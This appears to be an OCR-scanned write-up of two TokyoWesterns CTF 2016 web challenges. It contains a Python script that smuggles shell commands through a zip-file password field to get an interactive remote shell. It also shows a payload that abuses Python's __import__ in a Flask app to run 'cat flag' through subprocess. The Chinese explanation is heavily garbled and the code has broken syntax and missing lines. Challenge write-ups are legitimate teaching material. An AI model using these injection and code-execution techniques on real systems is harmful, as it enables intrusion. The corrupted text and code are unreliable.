C 2016 x86_64 x86 64 x86_64 GNU/Linux

import requests
import json
import subprocess
import os

import re

def delTmpFiles():
try:
os.remove('zipped.zip')
os.remove('dict.txt")
except OSError:
pass

def postCmd(cmd):

password = ;'+cmd+';#' # password of zip file
zipfilename = 'zipfile.zip' #the zip name that gets posted

dictfilename = 'dictionary.txt' #the dict name that gets posted

dictfilecontents = passwordl\npasswordl2\npassword123\n"""+password+"""\n1l\n #tdictionary file
contents

unzip = True

#print password

#print dictfilecontents

#tpassword = 'passwordl’

#zips the random.txt file with password into zipped.zip

subprocess.call(['zip', '--password', password, 'zipped.zip', 'random.txt','-q'])

dictfile = open('dict.txt', 'wb")
dictfile.write(dictfilecontents)
dictfile.close()

url = "http://zipcracker.chal.ctf.westerns.tokyo/"

multiple_files = [
('zip', (zipfilename, open('zipped.zip', 'rb'), 'application/x-zip-compressed')),
('dict', (dictfilename, open('dict.txt', 'rb'), 'text/plain'))

]
data = {}
if unzip:

data['unzip'] = 'on
r = requests.post(url, files=multiple_files, data=data)
#print r.text
return r.text
def getOutput(html):
pattern = re.compile(r'if archive file newer\s*(.*?)\s*PASSWORD FOUND!!!!: pw',re.S)
result = pattern.findall(html)
if len(result) ==



return result[0]
else:
print 'fail. Original html: '
print html
return "'

def main():

with open('random.txt','wb') as f:
f.write('abcdefg')

cnd = raw_input('>>> ")

while cmd != "'
print getOutput(postCmd(cmd))
delTmpFiles()
cnd = raw_input('>>> ")

os.remove('random.txt")

if __name__ == '_main__':

main()

Tsurai Web
20165E9H18HEH: WXL T —METal-t/\ K R, S REMERKER

KBS EE:  https:/blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/

Web
Problem

http://tweb.chal.ctf.westerns.tokyo/
Mirror: http://tweb2.chal.ctf.westerns.tokyo/

tweb.7z

—Ii&Python Flask )@ B, HKXIFlask ik, ERWELEETHE. AR T —F, BFHREXBWT:
M
BERG C A passwd
B —1THI# 2 abcd:5d6894c77ab618eedcalfeace0ee073b
abcd RAF 4%, &V 48N Z \A[0-9a-zA-ZK,200\Z
J& H I Hash md5(BENLERY + £h). —1T—/ANH P&, FEHUE /passwd XXHEH .
g@ldata/(m%(ﬁ])*'%)).py XA, B /data/(md5(F F48)) XHE <.
3

1 _ESC A passwd S H R AT R
Ui/
KEF: BEBRiAtemplate.
B&F: config=__import__ (h(session.get('username'))) # built-in function __import__; #£H md5(session username).py 3¢
LS
it
[data/(md5(F /7 4&)).py FIfE SCHEFISR, Bl BAERKB R E, AEN:

imgs = [U'%2ZY4J9CW@WVY5.jpg’, u'%JISI@HNZFZ9.jpg']
XA EBHA .

I B R
PR T EREBEEIRR, EEFE T EZM0EEF R KIE:
__import__ ERE IR i) 7R

W 4 /aabb/__init__.py # /aabb.py, __import_ (‘aabb’) &L EH R IFBEHTE


https://blog.0daylabs.com/2016/09/05/code-execution-python-import-mmactf-300/
http://tweb.chal.ctf.westerns.tokyo/
http://tweb2.chal.ctf.westerns.tokyo/
https://twctf7qygt6ujk.azureedge.net/uploads/tweb.7z-766225b53b42e30152f6772fa6753961092e5c1d742ce0aa8f2575fc6359a6e9

Bk b —A> __init__py (ETSmRAERRSISCHRR, Bingeid) 2 mdS(H4) B3, =

config = _ import__(h(session.get('username')))

it & AT AE & Pythondr 4. BT import FiF EE imgs 5%, ZAMEIHBIER:

x = __import__("subprocess")
imgs = []
imgs.append(x.check_output('cat flag', shell=True))

LRI T DL AR -

imgs = []
fflag = open('flag','rb').read()
imgs.append(fflag)

MREAFT KB, X BiRfNag.

SLLW DLldEE— LU S

<div clas="col-1g-3 col-md-4 col-sm6 col-xs-12">
<a clas="thmbnail">
<img sro="/show?filename=TWCTF {THIS Challange was BORN AT 2016-09-04 13.03 TST}

<fakr
< fdiw

3, T :https://www.cnblogs.com/go2bed/p/5841682.html
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